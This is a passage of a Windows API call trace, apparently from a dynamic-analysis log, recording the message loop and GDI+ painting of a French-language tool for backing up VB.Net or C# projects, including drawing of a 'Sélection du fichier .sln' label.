0x0 [0092.084] GetTextColor (hdc=0x280107d6) returned 0x0 [0092.084] GetCurrentObject (hdc=0x280107d6, type=0x6) returned 0x18a002e [0092.085] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7bc | out: pv=0x32e7bc) returned 92 [0092.085] SelectObject (hdc=0x280107d6, h=0x100a0252) returned 0x18a002e [0092.085] GetBkMode (hdc=0x280107d6) returned 2 [0092.085] SetBkMode (hdc=0x280107d6, mode=1) returned 2 [0092.085] DrawTextExW (in: hdc=0x280107d6, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e890, format=0x2415, lpdtp=0x26654e4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e890) returned 13 [0092.085] DrawTextExW (in: hdc=0x280107d6, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32ea48, format=0x2015, lpdtp=0x26654e4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32ea48) returned 13 [0092.085] RestoreDC (hdc=0x280107d6, nSavedDC=-1) returned 1 [0092.085] GdipReleaseDC (graphics=0x4c358c0, hdc=0x280107d6) returned 0x0 [0092.085] GetFocus () returned 0x201e4 [0092.085] IsAppThemed () returned 0x1 [0092.085] GetThemeAppProperties () returned 0x3 [0092.086] GetThemeAppProperties () returned 0x3 [0092.086] GdipGetDC (graphics=0x4c358c0, hdc=0x32ec94) returned 0x0 [0092.086] BitBlt (hdc=0x3010821, x=0, y=0, cx=163, cy=29, hdcSrc=0x280107d6, x1=0, y1=0, rop=0xcc0020) returned 1 [0092.086] GdipReleaseDC (graphics=0x4c358c0, hdc=0x280107d6) returned 0x0 [0092.086] SelectPalette (hdc=0x3010821, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0092.086] SelectObject (hdc=0x280107d6, h=0x185000f) returned 0x70050254 [0092.086] DeleteDC (hdc=0x280107d6) returned 1 [0092.086] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0092.086] EndPaint (hWnd=0x201e4, lpPaint=0x32ec38) returned 1 [0092.086] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0092.086] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0092.086] WaitMessage () returned 1 [0092.173] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0092.173] IsWindowUnicode (hWnd=0x201d6) returned 1 [0092.173] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0092.173] TranslateMessage (lpMsg=0x32f158) returned 0 [0092.173] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0092.173] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0092.174] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0092.174] WaitMessage () returned 1 [0092.387] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0092.387] IsWindowUnicode (hWnd=0x201d8) returned 1 [0092.387] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0092.387] TranslateMessage (lpMsg=0x32f158) returned 0 [0092.387] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0092.387] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0092.387] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0092.387] WaitMessage () returned 1 [0097.089] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0097.089] IsWindowUnicode (hWnd=0x201e4) returned 1 [0097.089] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0097.090] GetKeyState (nVirtKey=16) returned 0 [0097.090] GetKeyState (nVirtKey=17) returned 0 [0097.090] GetKeyState (nVirtKey=18) returned -127 [0097.090] SendMessageW (hWnd=0x201e4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0097.090] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0097.090] GetKeyState (nVirtKey=16) returned 0 [0097.090] GetKeyState (nVirtKey=17) returned 0 [0097.090] GetKeyState (nVirtKey=18) returned -127 [0097.090] TranslateMessage (lpMsg=0x32f158) returned 1 [0097.090] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0097.090] GetKeyState (nVirtKey=16) returned 0 [0097.090] GetKeyState (nVirtKey=17) returned 0 [0097.090] GetKeyState (nVirtKey=18) returned -127 [0097.090] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0097.090] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0097.090] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0097.090] WaitMessage () returned 1 [0097.099] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0097.099] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0097.099] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0097.100] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0097.111] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32edf0 | out: lpwndpl=0x32edf0) returned 1 [0097.111] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0097.111] GetClientRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0097.112] GetWindowRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0097.112] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0097.112] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0xd, wParam=0x104, lParam=0x4b8edb8) returned 0x0 [0097.112] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0097.120] NtdllDefWindowProc_W () returned 0x0 [0097.120] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1c, wParam=0x0, lParam=0x404) returned 0x0 [0097.120] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x1c, wParam=0x0, lParam=0x404) returned 0x0 [0097.120] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0097.120] GetCapture () returned 0x0 [0097.120] InvalidateRect (hWnd=0x201e4, lpRect=0x0, bErase=0) returned 1 [0097.120] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0097.121] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0097.121] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0097.121] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0097.121] IsWindowUnicode (hWnd=0x201e4) returned 1 [0097.121] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0097.121] TranslateMessage (lpMsg=0x32f158) returned 0 [0097.121] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0097.121] BeginPaint (in: hWnd=0x201e4, lpPaint=0x32ec3c | out: lpPaint=0x32ec3c) returned 0x3010821 [0097.121] SelectPalette (hdc=0x3010821, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0097.121] CreateCompatibleDC (hdc=0x3010821) returned 0x320107d6 [0097.121] SelectObject (hdc=0x320107d6, h=0x70050254) returned 0x185000f [0097.121] GdipCreateFromHDC (hdc=0x320107d6, graphics=0x32ec54) returned 0x0 [0097.122] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0097.122] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0097.122] GdipCreateMatrix (matrix=0x32ec9c) returned 0x0 [0097.122] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0097.122] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecb4) returned 0x0 [0097.131] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61af0 [0097.131] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e61af0) returned 0x0 [0097.131] LocalFree (hMem=0x4e61af0) returned 0x0 [0097.131] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0097.131] GdipCreateRegion (region=0x32ec9c) returned 0x0 [0097.131] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0097.131] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32eca8) returned 0x0 [0097.131] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ecd4) returned 0x0 [0097.131] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd950dbd) returned 0x0 [0097.131] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0097.131] GdipGetDC (graphics=0x4c358c0, hdc=0x32eac0) returned 0x0 [0097.131] GetCurrentObject (hdc=0x320107d6, type=0x1) returned 0x1b00017 [0097.131] GetCurrentObject (hdc=0x320107d6, type=0x2) returned 0x1900010 [0097.131] GetCurrentObject (hdc=0x320107d6, type=0x7) returned 0x70050254 [0097.131] GetCurrentObject (hdc=0x320107d6, type=0x6) returned 0x18a002e [0097.132] SaveDC (hdc=0x320107d6) returned 1 [0097.132] GetNearestColor (hdc=0x320107d6, color=0xf0f0f0) returned 0xf0f0f0 [0097.132] GetNearestColor (hdc=0x320107d6, color=0xa0a0a0) returned 0xa0a0a0 [0097.132] GetNearestColor (hdc=0x320107d6, color=0x696969) returned 0x696969 [0097.132] GetNearestColor (hdc=0x320107d6, color=0xa0a0a0) returned 0xa0a0a0 [0097.132] GetNearestColor (hdc=0x320107d6, color=0x0) returned 0x0 [0097.132] GetNearestColor (hdc=0x320107d6, color=0xffffff) returned 0xffffff [0097.132] GetNearestColor (hdc=0x320107d6, color=0xe5e5e5) returned 0xe5e5e5 [0097.159] GetNearestColor (hdc=0x320107d6, color=0xd7d7d7) returned 0xd7d7d7 [0097.159] GetNearestColor (hdc=0x320107d6, color=0x0) returned 0x0 [0097.159] RestoreDC (hdc=0x320107d6, nSavedDC=-1) returned 1 [0097.159] GdipReleaseDC (graphics=0x4c358c0, hdc=0x320107d6) returned 0x0 [0097.159] IsAppThemed () returned 0x1 [0097.159] GetThemeAppProperties () returned 0x3 [0097.159] GetThemeAppProperties () returned 0x3 [0097.159] IsAppThemed () returned 0x1 [0097.159] GetThemeAppProperties () returned 0x3 [0097.159] GetThemeAppProperties () returned 0x3 [0097.160] DrawTextExW (in: hdc=0x11010846, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e97c, format=0x2415, lpdtp=0x26faa6c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e97c) returned 13 [0097.160] IsAppThemed () returned 0x1 [0097.160] GetThemeAppProperties () returned 0x3 [0097.160] GetThemeAppProperties () returned 0x3 [0097.160] IsAppThemed () returned 0x1 [0097.160] GetThemeAppProperties () returned 0x3 [0097.160] GetThemeAppProperties () returned 0x3 [0097.160] GetFocus () returned 0x0 [0097.160] IsAppThemed () returned 0x1 [0097.160] GetThemeAppProperties () returned 0x3 [0097.160] GetThemeAppProperties () returned 0x3 [0097.160] IsAppThemed () returned 0x1 [0097.160] GetThemeAppProperties () returned 0x3 [0097.160] GetThemeAppProperties () returned 0x3 [0097.160] IsThemePartDefined () returned 0x1 [0097.160] IsAppThemed () returned 0x1 [0097.160] GetThemeAppProperties () returned 0x3 [0097.160] GetThemeAppProperties () returned 0x3 [0097.160] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0097.160] IsAppThemed () returned 0x1 [0097.161] GetThemeAppProperties () returned 0x3 [0097.161] GetThemeAppProperties () returned 0x3 [0097.161] IsAppThemed () returned 0x1 [0097.161] GetThemeAppProperties () returned 0x3 [0097.161] GetThemeAppProperties () returned 0x3 [0097.161] IsThemePartDefined () returned 0x1 [0097.161] GdipCreateRegion (region=0x32e9c4) returned 0x0 [0097.161] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0097.161] GdipCreateMatrix (matrix=0x32e9c4) returned 0x0 [0097.161] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0097.161] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e9dc) returned 0x0 [0097.161] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61af0 [0097.161] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61af0) returned 0x0 [0097.161] LocalFree (hMem=0x4e61af0) returned 0x0 [0097.161] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61af0 [0097.161] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61af0) returned 0x0 [0097.161] LocalFree (hMem=0x4e61af0) returned 0x0 [0097.162] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0097.162] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ea04) returned 0x0 [0097.162] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32e9f4) returned 0x0 [0097.162] GdipGetRegionHRgn (region=0x4c35bd0, graphics=0x4c358c0, hRgn=0x32e9f4) returned 0x0 [0097.162] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0097.162] GdipGetDC (graphics=0x4c358c0, hdc=0x32ea0c) returned 0x0 [0097.162] GetCurrentObject (hdc=0x320107d6, type=0x1) returned 0x1b00017 [0097.162] GetCurrentObject (hdc=0x320107d6, type=0x2) returned 0x1900010 [0097.162] GetCurrentObject (hdc=0x320107d6, type=0x7) returned 0x70050254 [0097.162] GetCurrentObject (hdc=0x320107d6, type=0x6) returned 0x18a002e [0097.162] SaveDC (hdc=0x320107d6) returned 1 [0097.162] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x51040850 [0097.162] GetClipRgn (hdc=0x320107d6, hrgn=0x51040850) returned 0 [0097.163] SelectClipRgn (hdc=0x320107d6, hrgn=0x580401e3) returned 2 [0097.163] DeleteObject (ho=0x51040850) returned 1 [0097.163] DeleteObject (ho=0x580401e3) returned 1 [0097.163] OffsetViewportOrgEx (in: hdc=0x320107d6, x=0, y=0, lppt=0x26fbba8 | out: lppt=0x26fbba8) returned 1 [0097.163] DrawThemeParentBackground () returned 0x0 [0097.163] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e780 | out: lpwndpl=0x32e780) returned 1 [0097.163] GetClientRect (in: hWnd=0x50120, lpRect=0x32e72c | out: lpRect=0x32e72c) returned 1 [0097.163] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0097.163] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0097.163] GetSystemMetrics (nIndex=42) returned 0 [0097.163] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e5bc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0097.163] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e5bc) returned 0x23 [0097.164] GetClientRect (in: hWnd=0x50120, lpRect=0x32e634 | out: lpRect=0x32e634) returned 1 [0097.164] GetCurrentObject (hdc=0x320107d6, type=0x1) returned 0x1b00017 [0097.164] GetCurrentObject (hdc=0x320107d6, type=0x2) returned 0x1900010 [0097.164] GetCurrentObject (hdc=0x320107d6, type=0x7) returned 0x70050254 [0097.164] GetCurrentObject (hdc=0x320107d6, type=0x6) returned 0x18a002e [0097.164] SaveDC (hdc=0x320107d6) returned 2 [0097.164] GetNearestColor (hdc=0x320107d6, color=0xf0f0f0) returned 0xf0f0f0 [0097.164] CreateSolidBrush (color=0xf0f0f0) returned 0x2010084d [0097.164] FillRect (hDC=0x320107d6, lprc=0x32e4d4, hbr=0x2010084d) returned 1 [0097.165] DeleteObject (ho=0x2010084d) returned 1 [0097.165] RestoreDC (hdc=0x320107d6, nSavedDC=-1) returned 1 [0097.165] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0097.165] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0097.165] GetSystemMetrics (nIndex=42) returned 0 [0097.165] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0097.165] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0097.165] GetClientRect (in: hWnd=0x50120, lpRect=0x32e5d4 | out: lpRect=0x32e5d4) returned 1 [0097.165] GetCurrentObject (hdc=0x320107d6, type=0x1) returned 0x1b00017 [0097.165] GetCurrentObject (hdc=0x320107d6, type=0x2) returned 0x1900010 [0097.165] GetCurrentObject (hdc=0x320107d6, type=0x7) returned 0x70050254 [0097.165] GetCurrentObject (hdc=0x320107d6, type=0x6) returned 0x18a002e [0097.165] SaveDC (hdc=0x320107d6) returned 2 [0097.166] GetNearestColor (hdc=0x320107d6, color=0xf0f0f0) returned 0xf0f0f0 [0097.166] CreateSolidBrush (color=0xf0f0f0) returned 0x2110084d [0097.166] FillRect (hDC=0x320107d6, lprc=0x32e474, hbr=0x2110084d) returned 1 [0097.166] DeleteObject (ho=0x2110084d) returned 1 [0097.166] RestoreDC (hdc=0x320107d6, nSavedDC=-1) returned 1 [0097.166] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0097.166] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0097.166] GetSystemMetrics (nIndex=42) returned 0 [0097.166] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0097.166] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0097.166] RestoreDC (hdc=0x320107d6, nSavedDC=-1) returned 1 [0097.166] GdipReleaseDC (graphics=0x4c358c0, hdc=0x320107d6) returned 0x0 [0097.167] IsAppThemed () returned 0x1 [0097.167] GetThemeAppProperties () returned 0x3 [0097.167] GetThemeAppProperties () returned 0x3 [0097.167] IsAppThemed () returned 0x1 [0097.167] GetThemeAppProperties () returned 0x3 [0097.167] GetThemeAppProperties () returned 0x3 [0097.167] IsThemePartDefined () returned 0x1 [0097.167] GdipCreateRegion (region=0x32e968) returned 0x0 [0097.167] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0097.167] GdipCreateMatrix (matrix=0x32e968) returned 0x0 [0097.167] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35c30) returned 0x0 [0097.167] GdipIsMatrixIdentity (matrix=0x4c35c30, result=0x32e980) returned 0x0 [0097.167] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61af0 [0097.167] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61af0) returned 0x0 [0097.167] LocalFree (hMem=0x4e61af0) returned 0x0 [0097.167] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61af0 [0097.167] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61af0) returned 0x0 [0097.167] LocalFree (hMem=0x4e61af0) returned 0x0 [0097.168] GdipDeleteMatrix (matrix=0x4c35c30) returned 0x0 [0097.168] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e9a8) returned 0x0 [0097.168] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e998) returned 0x0 [0097.168] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e998) returned 0x0 [0097.168] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0097.168] GdipGetDC (graphics=0x4c358c0, hdc=0x32e9b0) returned 0x0 [0097.168] GetCurrentObject (hdc=0x320107d6, type=0x1) returned 0x1b00017 [0097.168] GetCurrentObject (hdc=0x320107d6, type=0x2) returned 0x1900010 [0097.168] GetCurrentObject (hdc=0x320107d6, type=0x7) returned 0x70050254 [0097.168] GetCurrentObject (hdc=0x320107d6, type=0x6) returned 0x18a002e [0097.168] SaveDC (hdc=0x320107d6) returned 1 [0097.168] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x590401e3 [0097.168] GetClipRgn (hdc=0x320107d6, hrgn=0x590401e3) returned 0 [0097.169] SelectClipRgn (hdc=0x320107d6, hrgn=0x53040850) returned 2 [0097.169] DeleteObject (ho=0x590401e3) returned 1 [0097.169] DeleteObject (ho=0x53040850) returned 1 [0097.169] OffsetViewportOrgEx (in: hdc=0x320107d6, x=0, y=0, lppt=0x26fdaf8 | out: lppt=0x26fdaf8) returned 1 [0097.169] IsAppThemed () returned 0x1 [0097.169] GetThemeAppProperties () returned 0x3 [0097.169] GetThemeAppProperties () returned 0x3 [0097.169] DrawThemeBackground () returned 0x0 [0097.169] RestoreDC (hdc=0x320107d6, nSavedDC=-1) returned 1 [0097.169] GdipReleaseDC (graphics=0x4c358c0, hdc=0x320107d6) returned 0x0 [0097.170] GdipCreateRegion (region=0x32e950) returned 0x0 [0097.170] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0097.170] GdipCreateMatrix (matrix=0x32e950) returned 0x0 [0097.170] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0097.170] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e968) returned 0x0 [0097.170] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61af0 [0097.170] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61af0) returned 0x0 [0097.170] LocalFree (hMem=0x4e61af0) returned 0x0 [0097.170] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61af0 [0097.170] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61af0) returned 0x0 [0097.170] LocalFree (hMem=0x4e61af0) returned 0x0 [0097.171] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0097.171] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e990) returned 0x0 [0097.171] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e980) returned 0x0 [0097.171] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e980) returned 0x0 [0097.171] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0097.171] GdipGetDC (graphics=0x4c358c0, hdc=0x32e998) returned 0x0 [0097.171] GetCurrentObject (hdc=0x320107d6, type=0x1) returned 0x1b00017 [0097.171] GetCurrentObject (hdc=0x320107d6, type=0x2) returned 0x1900010 [0097.171] GetCurrentObject (hdc=0x320107d6, type=0x7) returned 0x70050254 [0097.171] GetCurrentObject (hdc=0x320107d6, type=0x6) returned 0x18a002e [0097.171] SaveDC (hdc=0x320107d6) returned 1 [0097.171] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x54040850 [0097.171] GetClipRgn (hdc=0x320107d6, hrgn=0x54040850) returned 0 [0097.171] SelectClipRgn (hdc=0x320107d6, hrgn=0x5a0401e3) returned 2 [0097.172] DeleteObject (ho=0x54040850) returned 1 [0097.172] DeleteObject (ho=0x5a0401e3) returned 1 [0097.172] OffsetViewportOrgEx (in: hdc=0x320107d6, x=0, y=0, lppt=0x26fe858 | out: lppt=0x26fe858) returned 1 [0097.172] IsAppThemed () returned 0x1 [0097.172] GetThemeAppProperties () returned 0x3 [0097.172] GetThemeAppProperties () returned 0x3 [0097.172] GetThemeBackgroundContentRect () returned 0x0 [0097.172] RestoreDC (hdc=0x320107d6, nSavedDC=-1) returned 1 [0097.172] GdipReleaseDC (graphics=0x4c358c0, hdc=0x320107d6) returned 0x0 [0097.172] IsAppThemed () returned 0x1 [0097.172] GetThemeAppProperties () returned 0x3 [0097.172] GetThemeAppProperties () returned 0x3 [0097.172] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eac8) returned 0x0 [0097.173] GdipGetDC (graphics=0x4c358c0, hdc=0x32eab4) returned 0x0 [0097.173] GetCurrentObject (hdc=0x320107d6, type=0x1) returned 0x1b00017 [0097.173] GetCurrentObject (hdc=0x320107d6, type=0x2) returned 0x1900010 [0097.173] GetCurrentObject (hdc=0x320107d6, type=0x7) returned 0x70050254 [0097.173] GetCurrentObject (hdc=0x320107d6, type=0x6) returned 0x18a002e [0097.173] SaveDC (hdc=0x320107d6) returned 1 [0097.173] GetTextAlign (hdc=0x320107d6) returned 0x0 [0097.173] GetTextColor (hdc=0x320107d6) returned 0x0 [0097.173] GetCurrentObject (hdc=0x320107d6, type=0x6) returned 0x18a002e [0097.173] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7bc | out: pv=0x32e7bc) returned 92 [0097.174] SelectObject (hdc=0x320107d6, h=0x100a0252) returned 0x18a002e [0097.174] GetBkMode (hdc=0x320107d6) returned 2 [0097.174] SetBkMode (hdc=0x320107d6, mode=1) returned 2 [0097.174] DrawTextExW (in: hdc=0x320107d6, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e890, format=0x2415, lpdtp=0x26ff2f4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e890) returned 13 [0097.174] DrawTextExW (in: hdc=0x320107d6, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32ea48, format=0x2015, lpdtp=0x26ff2f4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32ea48) returned 13 [0097.175] RestoreDC (hdc=0x320107d6, nSavedDC=-1) returned 1 [0097.175] 